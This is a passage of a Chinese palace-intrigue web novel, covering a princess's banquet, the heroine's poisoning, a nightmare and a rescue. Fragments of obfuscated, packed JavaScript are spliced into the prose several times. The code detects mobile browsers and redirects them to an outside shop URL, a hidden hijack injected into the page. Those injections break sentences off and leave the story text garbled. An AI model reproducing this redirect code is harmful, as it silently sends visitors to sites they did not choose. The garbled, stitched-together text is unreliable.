d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292884|198540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尾还有小卷。千里撼摸着那头长发心中羡慕,如果生在现代他一定能省下好多烫头钱。 手腕被猛的握住,千里撼抬头发现罗凛正在镜中凝视她。 “怎么了?” 罗凛道:“你真要给我编辫子吗?” “呵呵。”千里撼无语的笑了,她都站在这儿了不是编辫子难道是要杀头吗? “你不喜欢辫子?” “不,不是。”,罗凛顿了顿,道:“编吧,只许你编一个。” 千里撼道:“还挺有想法,我倒是想给你编一脑袋,可惜我不会。” 他的长发在千里撼手中一圈又一圈的缠绕着,就像他们的命运。 身为魏人的千里撼自然不晓得北疆传统,在北疆,夫妻成亲当晚女人要给男人编辫子,寓意着永不分离。同时,几个辫子代表女人允许男人有几个妻子。 望着镜中的自己,罗凛忽然笑了,为自己偷偷设下地陷阱感到窃喜。 一个辫子而已,千里撼手到擒来,三下五除二就弄好了。镜中人影婆娑,罗凛猛然发现千里撼左手上也带了枚扳指,就像那个魏人女子般。 “好了,终于顺眼了!”,大功告成,千里撼长舒一口气道。 罗凛猛的站起来,看向千里撼,他发现自己和穿的千里撼很像,一样的颜色一样的材质类似的装饰。 就好像。 就好像他是她的。 “看我做什么,看看你自己啊?”,千里撼此刻急需夸奖,结果罗凛却一言不发,她很不满意。 乱颤的心不听使唤,罗凛急忙扭过头看向镜子,下一刻镜中人让他恍惚。 千里撼拆了他头顶的冠,将卷发散开,用一根镶嵌着红玛瑙的抹额圈住。耳边两缕头发向后环绕束住长发一直编至后颈处,最后那根粗辫被扣上金扣放在了身前。 罗凛不可置信的摸了摸自己,像做了一场梦,此刻的他看起来不像护卫倒像一位真正的王子,可以堂堂正正的站在千里撼身旁,以假乱真。 “好了,耽搁许久了。快走吧。”,看到罗凛震惊的眼神后,千里撼满意的离开,整个人沉浸在对自己审美与艺术的高超造诣中。毕竟原书中,成为北疆王后的罗凛大概就是这打扮,她只是让他提前享受了而已。 三人紧赶慢赶才到公主府,千里撼脚刚落地便偶遇玉雪倾,二人无声交流一番后彼此放下心来,公主人还没到,她俩来的不算迟。 “金安郡主到!” “国公府玉都尉到!” 二人一前一后到场,宫人高声迎客,一听来人屋内数人齐齐转头行注目礼。 大魏氏族之首,还是未来家主,二人地位自然举足轻重,无异于大魏风向标。毕竟流水的皇帝铁打的四家,虽然一死一残,但积年累月的势力并非朝夕可改。 传言千里家同玉家有旧怨,据说是先帝时玉雪倾姑姑玉横曾当朝痛骂千里撼四叔千里勇,最后二人大打出手。 千里勇被打掉一颗门牙失了君子之态,自此之后朝中便传两家不和,传着传着甚至传出千里勇是因此事心中郁结,最后郁郁而终。 天地良心,千里勇他是被酒色消磨而死,跟人家玉衡有什么关系,千里撼每每听到这类说辞心中都要翻好几个白眼。 不过歪打正着,这所谓旧怨也给千里撼和玉雪倾套上一层保护色,毕竟如今在大魏关系最不能亲密的就是这两家。 话是如此,但千里撼还是忍不住偷看玉雪倾。 她很美,身着雪色银纱,似画中仙子般可赛昙花,每多看一眼都是玄天恩赐。 一群人人迫不及待的围了上来,给二人应有的簇拥,像趋光的蝇虫。千里撼熟练的应付着,余光瞥见个身影,那人坐在席末,拿一盏小酌,似流水清净。 应是感受到千里撼的视线,那人将酒盏提起回视她,坦然一笑,仰头饮尽。 他们并不相识,可这人对她态度却十分熟稔。千里撼依旧看着他,但被一颗不识相的脑袋打断,只得错开视线。 她不记得这段剧情里有什么重要人物,可剧情已经被她改变,原书中的故事线早乱了。 15. 公主轶闻 邵雍公主是白笑孔最疼爱的孩子,排场自然大,她设宴,个个都挤破了头想来。 皇城是个好地方,阴晴变换从来难以预料,举家升迁者常见,祸夷三族者同样有之。储君不立则大魏不宁,多数人为此惴惴不安,但也有不少人贪婪的希望此事愈演愈烈。 不过凡事无绝对,除邵雍公主之外白笑孔还有三个孩子,更何况大魏曾有肃宗禅让的美谈,这样一来就连宗室也可成为对手,究竟花落谁家还未可知。 但对看客来说多压几注总没错。 千里撼抿了口酒,暗暗道:“真难喝。” “邵雍公主到!” 全场起身行礼,道:“拜见公主!” 白帝媐少年早慧颇受器重,十四岁曾留京监囯,此后更是长伴白笑孔左右处理政务。期间无数大臣上疏建议白笑孔立储,然其迟迟不应,后便无人再提。 虽说君心不可测,但白笑孔不立储的最大原因也只是怕分权而已,毕竟她先是一个皇帝然后才是一位母亲。 邵雍公主身着丹色广袖襦裙,头顶带了座黄金高阁,双眉高挑,朱唇微翘,似火中而来。白帝媐性格骄横霸道,毕竟自小养在白笑孔身边颇受宠爱,且在诸多皇嗣之中出类拔萃。 看着她的雍容装扮,千里撼浅浅一笑。白帝媐十分善于伪装,她所表达出的一切都只是她想让人看到的,譬如这场冬日盛宴。 “诸位久等了!” 邵雍公主排场从来不小,而且很有创意,这正是千里撼喜欢的地方。她走在前头,身后还带着一群面首扛着各色乐器打扮的花枝招展,那是权力与身份的象征。 传闻白帝媐所养面首可达上百,其数远超当年的白笑孔。不过这类传闻多是白帝媐为彰显自己身份传播的,毕竟明眼人都知道白笑孔是个什么人,白帝媐终究还年轻。 诸位宾客行礼过后各自就位,宫人摇铃:“奉茶点香,赐花!” 白帝媐道:“虽临冬日,但既是赏花宴便不能无花,本宫特意命人挑选各色花朵制成金钗二十四支,来者皆得。” “谢公主!” 最讨厌的作诗环节就要来了,千里撼两眼一闭就是装睡。她实在不想掺和这些,并非嫌其附庸风雅,而是因为真不会,什么狗屁飞花令抽花签,她一个字都崩不出来。 似是早有内定,宫人到千里撼面前后直接捧出一只桃花钗为其簪到脑后。她本瞄准那只水仙钗却不想被安了个桃花,隐隐不爽。 席上这些文人个个蓄势待发,等着作诗博公主一笑,能谋个一官半职最好,再不济就算能进公主府也是衣食无忧了。 千里撼环视一圈,发现玉雪倾簪的是瑞香钗,白帝媐簪的是桂花钗,那个方才同她对视的神秘男子簪了桐花,以及白帝媐最爱的“幕僚”禾华也有簪花,是秋海棠。 说起这禾华,他同白帝媐之间倒还有一段难以言说的过往。 禾华身为农户之子,一心想要考取功名,只可惜初试落第,不及进士,后得公主赏识做了她的“秘书”为其撰写诗文以谋生。 说不清是好是坏,禾华因诗句典丽精工,风格独树一帜而名声大噪,更被誉为“秀面芙蓉”一时间风光无限。紧接着他又一举高中进士,眼看着大好的前途就要来临,却因一场花宴沦为“面首”。 白帝媐用禾华久了自然也会留心,在他中进士前,两人并未正式见过,大多数时候白帝媐只见过他的诗词和一堆漂亮又无聊的骈文。 后来公主办了一场如今日一般的花宴,二人正式相见。起初,白帝媐以为禾华的“秀面芙蓉”之称是指他文采,不料竟是形容这个人。 禾华自然也不会放弃这个机会,一连做了七首诗送给白帝媐,他想要官职,想要名声所以掏空自己做出这七首《宴花卿》并一举夺得公主的心,与此同时白帝媐也正如他所料沦陷了,但白帝媐就是白帝媐,一个彻头彻尾的白家人,她的心意远比功名要重的多。 她想要他。 禾华奔着功名而来,自然不肯,于是白帝媐霸道的插手了他的“功名”,扼住他的喉颈。 按理来讲,达官显贵之中家有女儿者招进士为婿是传统,只不过这个来招禾华的显贵是公主而已。 禾华死都不肯,做驸马和做官就像一条大道上的两条岔路,看似方向一致实则越拐越远,驸马这个身份注定禾华此人日后无论荣耀与否,都得带着“邵雍公主”这个后缀。 若是旁人自然卷着铺盖就上门来了,可他是禾华,是个心比天高的“小古板”,他不要任何能够淹没自己才华的捷径。 二人你来我往,就这么打擂台,渐渐的白帝媐累了,也恼了。从小到大她金尊玉贵从未低三下四的迁就过任何人,她愿意扶持禾华的青云之路,更愿意为他散去面首无数,可他不识抬举,甚至放话说:“普天之下皆荷花,不入邵雍红墙家”,这几乎是在打白帝媐地脸。 他禾华可以成为大魏任何一个人的夫婿,除了邵雍公主。若是旁人早已死无葬身之地,可他是禾华,所以白帝媐又忍下了。 最后这件事传入白笑孔耳中,对于禾华冒犯皇家威严的言行,她毫不犹豫的降下了惩罚——将等待授官的禾华直接调去邵雍下最偏远贫苦的皖阳县做县尉。 这几乎直接把禾华送进了白帝媐掌心。但其实在此之前白帝媐已经为禾华寻好职位——睦洲参军,只要禾华点头这个职位就是他的。 事已至此,禾华同白帝媐都已没了选择,禾华任职不过两年便已疾病缠身苦不堪言。看着逐渐枯萎的禾华白帝媐又一次心软,亲自去向白笑孔求情意图将禾华调回京中。 二人聊了整整一夜,最后白笑孔松口,禾华回到京中成为邵雍公主幕府主簿,一切回到了原点,但两人的关系早已似枯花落叶般扑朔迷离。 后来又过一年,二人关系更甚,千里撼明显感到他们两个睡了,但谁都没再提过“驸马”这件事。禾华名为主簿实为面首,而白帝媐又恢复从前不羁模样,养了许多面首夜夜笙歌。 不过据说禾华在皖阳时曾作过这样一首词给白帝媐,后来才有的白氏母女二人“秉烛夜谈”——“细雨皖阳春恨长,枯草疯长,鸳鸯镜黄。泪锁花卿泣断肠,饮千觞,雾茫茫,忍负残阳。” 千里撼不懂词,这件轶事她也不过听一乐儿,其中曲折婉转的故事她无心探究。 难熬的作诗环节终于结束,千里撼连平日最擅的投壶都拒了,她今夜可得早早歇息。见小薇站在一旁有些局促,千里撼询问道:“怎么不去玩呢,机不可失啊。” 小薇有些不好意思,道:“奴婢是乡下来的,没见过这样的场面,实在是有些不敢。” “无妨。你看罗凛玩儿的就很开心。”,小薇顺着千里撼的目光瞧过去,发现罗凛正和一堆面首幕僚坐在一起豪饮,情到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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罗凛又点了点头。 “其实哪里人都无所谓,你要爱便爱,大胆一些。在这世上没有十全十美的事,喜欢她就陪在她身旁。莫待枯花落叶随流水,有情难解千千结。”,禾华说罢饮一口酒,拖着身子缓缓离去,鬓边秋海棠同其一步一晃,悠悠似坠,渗出阵阵芬芳,香的凄凉。 千里撼命人将礼物交给宫人便同小薇回去歇息。白帝媐收到后特地瞧了瞧,是只绢人娃娃,这次她送得是《生死恨》中的霍小玉,娃娃头上的紫钗做的极为精妙,叫人一眼就能认出来。 前些日子她想同千里撼小聚,只可惜这人总是有事,不过今夜倒是应了下来说要宿在公主府。 白帝媐拿了好几个绢人娃娃,又命人带了些吃食去千里撼所在厢房,然而刚一进门就看到那个叫罗凛的侍卫紧紧抱着千里撼。 白帝媐怔愣片刻便接受这段关系,眉毛一挑露出个邪笑,出言调侃道:“呦,很火热嘛!” 话音刚落,千里撼“噗”的吐出一大口黑血来。白帝媐顿时张大了嘴,惊得出不了声。 她以为千里撼被自己气死了,片刻都不敢耽误,慌忙遣宫人找来太医救人。 16. 孤灯立,南风息 罗凛思绪迷乱,耳边像有蝉鸣,分明视物不清,却独独闯进了千里撼所在厢房。 小薇刚服侍完千里撼宽衣,见罗凛推门而入,顿时吓了一跳,浑身发抖。 两人面面相觑,罗凛不讲话,只将她打发出去,关上了门。 这下屋内只剩心跳如雷地罗凛和莫名其妙地千里撼。 千里撼理了理衣裳,见罗凛似是喝醉了便调侃道:“公主府是什么酒这么好喝,要不要我也叫人在府中备些?” 罗凛并不接茬,撅着嘴巴,面色凝重的站在她身后。 见其行为古怪,千里撼打算起身,然而刚站起来就被一把按住肩膀压了下去。 她被罗凛强迫坐在椅子上,肩膀被牢牢抓住。这种感觉很差,千里撼明显感到被冒犯,胸中不悦,皱眉冷声道:“你想造反?” 但其实她毫无胜算,毕竟罗凛的战斗力十分可观,并且她从前有意培养他,甚至还让佩儿教他剑法,这样一来更是如虎添翼,若罗凛真要造反,她大概是打不过的。 该死,早知道留点后手了。 千里撼捏了捏眉心,一脸忧愁,陷入深深的后悔。 可是她总觉着罗凛没有这个必要,因为自己对他真的还可以,就算恢复智力和记忆了也不必非杀了她吧? 又不是刷KPI。 思来想去千里撼决定先保命,晓之以情动之以理道:“你有何不满直说出来,我不会读心。” 闻言,罗凛两只耳朵顿时立了起来,一把抬起椅子转过来,整个人像一堵墙般罩住千里撼。 如果不是身在古代千里撼真的会以为自己屁股底下这玩应儿是转椅,罗凛是私下练过么,动作未免有些过分丝滑了。 千里撼被迫仰起头,尴尬的同其对视,罗凛则居高临下的凝视着她。 男凝——千里撼脑子里就这俩字。 不过片刻,那双野性的眼睛就变得雾蒙蒙,甚至带着祈求看向她。罗凛膝盖触地,轻轻跪伏在她身前,像一条大型犬般趴在她膝上,将“臣服”二字演绎的淋漓尽致。 这演的哪出儿,《忠犬八公》? 这一动作千里撼属实没读懂,怎么一会儿要吃人,一会儿又要撒娇? 她试探着将手放到罗凛头顶,罗凛果真像大狗般舒服地往她怀里蹭了蹭,貌似很开心的样子。 好了,危机解除。 千里撼顿时松了口气,胡乱摸了几下便要抽手,却被罗凛一把抓住,再次强硬的按到了头顶。 他们就这么诡异的坐了好一会儿,直到罗凛开口 “我要一直保护你,我能保护好你。” 对于他的自言自语千里撼一头雾水,只当他叛逆期到了,想给自己弄个口号,于是随口应道:“好。” 罗凛将脸从她膝上抬起,两手握住千里撼手腕道:“那你呢,你会永远需要我吗?” 这是什么哲学问题吗? 千里撼顿了顿不清楚该怎么回答。 她想说“不”,但这显然行不通,她同样可以选择撒谎说“好”,但这太过虚伪。 此时此刻的罗凛真诚而纯粹,这样的人是无法容忍虚伪的。 望着那双眼睛,千里撼陷入沉思。 面对吴永这类人她能够毫无保留展示出恶,因为那时的千里撼并不完全属于自己,只作为“替天行道”的载体而存在,让吴永的所作所为反噬自己。可面对罗凛,这个由她塑造出的“孩子”,千里撼格外不想说谎。 终于,沉默良久的千里撼张开嘴巴,吐出几个字来,她道:“我可以允许你来需要我。” 这是她能应允罗凛,同时也是自己的最大限度。 罗凛必然听不懂她的弦外之音,满脑子只有“允许”二字,他笑了起来,露出白白的犬齿,一把拥住千里撼道:“我就知道,我就知道你会永远和我在一起!” “永远”这两个字太重了,千里撼将牙关紧咬才控制住自己没有说出那些伤人的事实,她相信罗凛今日这番话明日就会忘尽,也明白有朝一日罗凛成为斛瑟罗凛时,今夜的记忆或许会再次涌现,所以她不敢妄言。 可他看起来实在太幸福,千里撼不忍打扰,只得在罗凛沉醉于幸福之时默默摇了摇头,无愧于心。 况且,千里撼并不十分在乎罗凛的情谊,只当自己在玩“养成游戏”。 她默默露出个无奈的笑容,摸了摸罗凛毛茸茸脑袋,还想说些什么,喉中却突然漫出一股血腥味儿。 她砸吧砸吧嘴,将这股不适勉强咽了下去,刚要开口,腹中顿时一阵剧痛,活像被捅了一刀。 巨大地疼痛感当头一棒将她砸晕,身体失去控制,视线也逐渐模糊起来,汗珠砸裂的板,千里撼再也承受不住山倒般地痛苦,身子一歪,从椅上滑落,直直栽进罗凛怀中。 起初,罗凛还在兴奋,以为是千里撼地回应,但发现怀中人体温骤降时立马慌了神,将其紧紧抱住,慌张道:“好烫,为什么会这样!” 千里撼说不出话,直勾勾盯着前方,眼神涣散,任凭罗凛怎么叫喊也听不见。 白帝媐带人推门而入,一进屋看见如此场景,唇角一勾,十分不顾千里撼死活的调侃道:“呦,很火热嘛!” 下一刻,她的笑僵在嘴角。 千里撼突然喷出一大口血,漆黑的温热铺了罗凛满背,溅到了白帝媐裙边,浓重的血腥味儿瞬间炸开。 见此情景,白帝媐大惊失色,道:“快!快去找太医!快去!!” 那口血结结实实吐在罗凛身上,方才地喜悦荡然无存,他的心凉了半截儿。 冰冷的恐惧爬满罗凛全身,他不可置信的抹了把血,放在眼前细看,脑中闪过无数片段,兵戈之声夹杂着浓烈的烟熏味儿重新萦绕在他脑中。 这一切都好熟悉,他颤抖着双手,猛的抱紧千里撼起身望向门外,口中喃喃道:“不,不……” 他要逃离这个地方。 如此诡异的场景之下,白帝媐当即命人拿下罗凛。一群人蜂拥而上,费了九牛二虎之力才勉强控制住他。 “此人赤手空拳却能抵抗如此之久,看来是个能人。”白帝媐退居室外下令抓活的。 太医匆匆赶来,见此情景,立马飞针射向罗凛。 罗凛将千里撼背在身上,一人抵抗数十人本就乏力,如今又被飞针锁住经脉无法运功,顿时眼前一黑失去抵抗。 宫人费九牛二虎之力才将罗凛与千里撼分开,跑去回话道:“启禀公主,我等已救下郡主,贼人要如果处置。” 白帝媐:“带下去关起来。今日之事不得外传,若有违反,杀无赦!” “是!” “海太医,快为郡主诊治。”白帝媐探了探千里撼鼻息,发觉还活着,顿时松了口气。 今夜之事太蹊跷,她要留万全之策。 海太医只看一眼便掏出银针锁住了千里撼筋脉,又取一些她所吐毒血查看,终于确定毒药。 白帝媐问道:“这究竟是怎么回事?” “回禀公主,郡主这是中毒所致。若老身没记错此毒应是‘昙花’,所幸发现得及时,郡主并无大碍。”耄耋老人翻开千里撼眼皮瞧了瞧才放心回话。 “中毒?”公主身旁一红衣女子怒道,“竟有人胆大包天至此,敢在公主府行刺!” 白帝媐横眉道:“来人!彻查今日宴上所有人员,连同携带物品与吃食也要查,宁可错杀不可放过!” “另外,”白帝媐拉过红衣女子沉声道,“今夜公主府,只许进,不许出。” 女子一点头,明了白帝媐意思便带人离开。 敢在公主宴席上刺杀当朝郡主,这分明是想一箭双雕啊。 看着榻上不省人事的千里撼,白帝媐眼里闪过一丝难以察觉的狠毒,看来她这段时间太过与人为善了,让这些不知天高地厚的东西忘了她的手段。 白帝媐:“海太医,务必治好郡主,否则唯你是问。” 海三娘闻言汗毛倒竖,赶忙拱手道:“微臣当竭尽全力。” 白帝媐留下这句话,甩袖离开。冷风呼啸,晚夜刺骨,她将罗凛关押,层层看守,若千里撼今夜不幸离世,这便是她最后的底牌。 朝中局势不定,白笑孔年事已高,隐隐有了立储之心,太多自不量力的东西想要冒头,拉帮结派,巩固势力,而恰恰就在这个空档,她白帝媐府上竟出了这档 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292886|198540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子丑事,世上哪来这么巧的事? 今夜谁都不必睡了。 毒素顺着血管在千里撼身上蔓延,银针只是放慢它奔跑地速度,却无法阻挡令人窒息的事实。 “咔哒、咔哒、咔哒、咔哒……” 好熟悉的声音,一秒一动。 她猛然惊醒,僵硬的骨骼相互摩擦发出难过的声响,“咔哒、咔哒、咔哒、咔哒……” 声音还在继续,在头顶。 高肃猛的将脑袋向后砸,颈椎成为完美的直角,眨眼的瞬间,一块巨大的钟表咧着嘴巴直直压向她的脸。 仰头带来得窒息感使眼球肿胀充血,而被巨物笼罩又将这份窒息送上另一个顶峰,一波未平,一波又起。 她的每一根睫毛都戳在那块钟表上,像在挠痒痒,于是钟表又笑起来,“咔哒、咔哒、咔哒、咔哒……” 毛骨悚然。 她拼尽全力找回声音,面对此情此景,拼尽全力喊出两个字,“我草……” 只是片刻的停顿,再次抽离,像陷入某种循环,不断有人在她耳边重复魔咒。 “你为什么要出生,你知道我们活着有多累吗!” “意义……高肃,像你这样的人活着不需要意义。” “别试了,亲情无解~” “上学和照顾弟弟冲突吗,你怎么这么自私!” “如果反抗会痛苦,那你顺从不就好了。” 文字堆叠在一起发出刺耳的尖叫,像轮胎摩擦地面。高肃坐在空无一人的世界狠狠堵住耳朵,可话语却排着队穿透她的心脏。 一头黑羊扭着屁股走了过来,挑衅似地顶了顶她手肘,金黄色的眼眸注视着高肃。 咩—— 她再次跌入漩涡。 逼仄的出租屋内,皱巴巴的课本上印着一首《出塞》,这首诗她昨天才学完,朗朗上口很容易就背了下来。 夏季的风潮湿炎热,吹到哪儿哪就是黏糊糊的,老旧的风扇沐浴在昏黄的灯光下每一次转头都拼尽全力,高肃抬头看了看窗外,发觉太阳老早就和她说再见了。 口算题卡上密密麻麻的算数题看的她头晕眼花。 这是今天的作业,必须要完成。 “滴滴嗒嗒”,一阵电子音乐声吸引了她,高肃撂下铅笔悄悄打开那扇门宛若结界的木门仿佛来到了红皇后的仙境。 粉色的房间亮着暖黄色的灯光,好看的风铃悬在婴儿床上。 这是她生平第一次见这样的玩具,那个风铃一边旋转一边发出清脆的声响,还伴随着阵阵音乐。 她向婴儿床走去,也可能是向那个风铃走去,但无论往哪走高肃都注定会看到一个人—— 婴儿床里传出一阵笑声,里头躺着个婴儿,他含着拇指,黑黑的眼珠好奇的盯着高肃瞧。 她先是一惊,随后亲昵的将其抱起,脸颊缓缓贴近他,感受着来自亲人的温度。 可婴儿像是不喜欢她的亲近,微微挣扎起来,高肃不解的看着他,随后注意到了他的瞳孔。 圆圆的眼珠突然冒出四角。 然后,变成了山羊。 分裂状的嘴巴配合八颗洁白的上牙扭来扭去,突然,山羊喉咙抖动,下巴微张,吐出两个字——“姐姐。” 全身地骨头顿时紧缩在一块,像躲避针扎的巨型气球,彻骨的惊悚包裹住高肃。终于,尖叫从喉管中迸发,并行而来的强烈失重感令人头皮发麻,不辨天地。 千里撼猛地睁开双眼,浑身被汗水渍透。 似重新夺回了身体的使用权,她怔在原地大口呼吸,感受着真实的世界。 一旁,玉雪倾捏着她的手腕,关切问道:“你终于醒了,感觉如何?五脏可有哪里疼痛?” 千里撼全身被插满银针,她活了活身躯,双目空洞,暗暗发誓再也不要做这种梦,随后闭上眼睛。 “琼林?琼林你怎么了!”玉雪倾焦急地呼唤着,右手不断加深力道探索千里撼微弱的脉搏。 突然,千里撼猛的反手握住玉雪倾,深吸一口气,张开双眼。 清澈的眸子一扫往日阴霾,迸发出锐利的光芒,她缓缓道:“我现在感觉,很好。” 17. 昙花现 “将诸位大人请至客房稍歇,没有公主命令,不得擅自出入!” 红衣女子一声令下,各个宫人便褪去“画皮”露出真面,每张脸上都隐隐弥漫着杀气,再瞧瞧她们手上薄茧,一看就是练家子,如今这幅模样与方才宴席之上地谄媚姿态截然不同。 玉雪倾作为软禁对象之一,敏锐察觉到这些所谓“宫人”的异样,恍然大悟。 若无今日之事,她怕是永远想不到邵雍公主府中竟有支“军队”,只不过她们善于伪装,平时混迹在人群之中,大隐于市。 好厉害的心计。 玉雪倾越过紧张的人群瞧了白帝媐一眼,她的眼神还是那般慵懒,不过此刻多了些不悦。 当年,五皇子设计刺杀白帝媐,那卧底潜伏四年未能得手,最后反作证人揭发五皇子。彼时白帝媐年仅十三,而白笑孔却想大事化小只将五皇子贬斥偏远之地,之后不过一年,五皇子便莫名死了。 如今想来,这一切应该都是邵雍公主的手笔,否则凭五皇子的胆识又怎会贸然对她出手。 玉雪倾思索着,丝毫没意识到自己视线有多露骨,电光火石间白帝媐似是察觉到什么,猛的看向玉雪倾所在方向,玉雪倾急忙低头避免与其对视,但她明显能感受到那个视线在她头顶来回扫动,似巡视领地的雌虎,盘桓不去。 白帝媐并未亲自出面调查此事,她对红衣女子道:“丹娘,把楚先生请来。” 那个簪着桐花的男子款款而来,问了宫人几句话,分析道:“今日公主府共来人六十八,除去公主亲信余四十四,再除宾客余二十。据海太医所言郡主所中之毒乃是‘昙花’,这是一种夜晚才会发作地奇毒,因此在剩下这二十人中除去无作案时间者仅余八人。” 男子思虑片刻拱手道:“启禀公主,臣以为仅将这八人单独提审即可,其余无关之人还是趁早请离为好。已至酉时,宾客众多,公主虽能稳住一时却也难免麻烦,人多口杂,此事还是不要声张为好。” 白帝媐听后缓缓点头,道:“臧道所言有理,此事便交由你去做吧。” “公主不可,”他出言阻止道,“臣不过无名小卒,人微言轻,难得诸位大人信服。公主既已将宾客锁在府内便免不了‘软禁’二字,如今最要紧的是避人口舌,臣以为此事应当交由禾主簿去做。” “禾华?” 白帝媐微微蹙眉,心中泛起一丝顾虑,但鉴于臧道推荐,她还是松口,道:“既然你这么说便由他去做吧。” 臧道出门后毫不意外的发现了禾华,他站在门外等候许久了。见状,禾华上前询问道:“楚兄这是何意?” 臧道似笑非笑,拱手道:“为公主排忧解难,乃幕僚分内之事,禾主簿常年混迹官场同诸位大人或多或少都打过交道,更何况有公主这层关系在,他们更会对主簿忌惮三分。常言道择对不择贵,这件事公主出面反而会显得蹊跷,但由主簿你出面便再合适不过了,至于怎么天衣无缝的做好,我想主簿应该早有计策了吧。” 说罢,他将手放在禾华肩上拍了拍,露出了个志在必得的笑容。 禾华看着他沉默良久,最后缴械投降,无奈一笑摇了摇头道:“楚兄真是雪中送炭,我与公主置气许久,你这招恐怕在‘分内之事’外还卖了我个天大的人情。” 臧道:“所谓床头吵架床尾和,夫妻哪有隔夜仇。主簿既然心中有数便去屋内回话吧,我要去提审那八人了,今夜估摸是难歇息了啊。”,他发出声哀叹,带一队人马离开。 酉时四刻,喧闹之声骤起,众人被放了出来,且人手一只兔子灯,滑稽又迷茫的被聚集在庭院之中,手足无措。 “这究竟演的哪一出儿啊?” “一会儿关一会儿放,现在又给晾在庭院,乌漆墨黑的什么都看不清啊。” “是啊,是不是出什么事儿了?” “能有什么事儿,别瞎说。” “没事儿给咱们关起来干嘛,我看着其中定有蹊——” 突然,庭院上空炸出一朵银花打断了窃窃私语,人群中爆发出一阵惊呼,紧接着是两朵三朵,无数朵金花在夜空中炸开。 正当宾客惊讶之时金栗阁灯火点亮,公主现身,站在楼上道:“既是花宴便要有天下之花和天上之花,白日我们见了天下花,这夜里自然要见一见天上花!” 话音刚落,院中几个黑影攒动,他们围成一圈站在几十步开外的地方,一把揭开外袍露出结实的膀子,举起火把点燃铁盆,握着铁链挥舞起来。 黑夜中,火盆随着匠人舞动画了一个又一个圆圈,似打翻夜空,星河流动,漫天华彩飞舞。金色火球点燃众人眼眸,他们这才明白,原来方才屋内地等候是这场火树银花的欲扬先抑。 白帝媐站楼阁之上看众人疑虑打消,满意的笑了一下,这场临时安排的炭花舞的确精妙,臧道没骗她。 金色的光芒映照在她侧脸,那微微一笑则显得更加明媚,禾华站在白帝媐身后五步开外的一点痴痴看着,最后满意离开。 阁楼灯火通明,园中宾客嬉戏,然而白帝媐却丝毫没有喜悦之情。 这一夜的欢愉不过是用来哄骗那些乌合之众的慢毒,似温水煮青蛙,使其沉浸其中无法自拔,将一刻当作一生来活,愚昧至极。 她是公主,是大魏将来的天,是不可撼动的高山之石,这世上没有哪座高山会同花朵去挣朝夕。 狂欢才刚开始白帝媐的身影就消失了,金栗阁的灯空亮着,失去了欣赏的人。 玉雪倾时刻关注着白帝媐动向,见其从金栗楼消失便伺机离开,环视一周,那些披着“皮”的宫人依旧围在四周,看似欢呼雀跃实则紧盯每一个人。 看的可真紧啊。 她努力寻找着缺口,终于在后方找到了一个“烟花傀儡”。 玉雪倾暗中扯开兔子灯,取出蜡心,丢向远处,烛火静静燃烧,最后在某一刻突然爆发。 熊熊大火将烟花傀儡逐层点燃,突如其来地响声与火光令人难以忽视,那些宫人也被吓了一跳,很显然他们并没准备在此刻点燃它。 趁此机会玉雪倾一把打晕看着她的宫人,披着她的衣裳逃之夭夭。 她可不是吃素的。 公主府邸恢宏,若无千里撼事先绘好的图纸怕是很难摸清门户。玉雪倾在黑暗中夜行,身姿轻盈,跃于屋脊之上。 然而她远远小看了白帝媐,公主府内的“军队”不只有那些宫人,还有房梁屋脊上的重重黑影,他们手持弩箭蓄势待发,整日埋伏此处。 “怪不得活得最久,合着这府上没一个是废物。”,玉雪倾悄声解决第六个守卫后终于摸到千里撼所在房间。 她跳进去探其脉搏,微乎其微,千里撼此刻意识昏沉,身体止不住的痉挛。 “琼林,琼林!” 玉雪倾低声呼唤着,见其没有反应,急忙将事先备好的解药塞进她口中,拔下银针为其运行经脉。 “快醒醒,快!” 千里撼还在梦中沉醉,突然感到腕上一阵刺痛,猛的睁开双目喷出好大一口毒血。 方才那股压在心头的不适感顿时烟消云散,只是身躯依旧很沉。 玉雪倾见状大喜,扶住千里撼,道:“你感觉如何?五脏可有哪里疼痛?我来的还算及时吧。” “我现在感觉很好。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292887|198540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >千里撼捂着胸口呕了好几口血后缓缓躺回榻上,冲着玉雪倾竖起大拇指道:“非常及时,但让我先吐一会儿。” 玉雪倾:“这公主府凶险重重,等回去我再同你细说。” 千里撼点了点头,道:“你快走吧,估摸一会儿就来人了。” “好,你万事小心。”,说罢,玉雪倾披上黑袍离开,再次返回宾客之中。 千里撼目送玉雪倾离开,见其走远才不管不顾地吐起来,墨色的血似瀑布般从她口中垂泄。 “呕!呕呕呕!真苦我草,呕!” 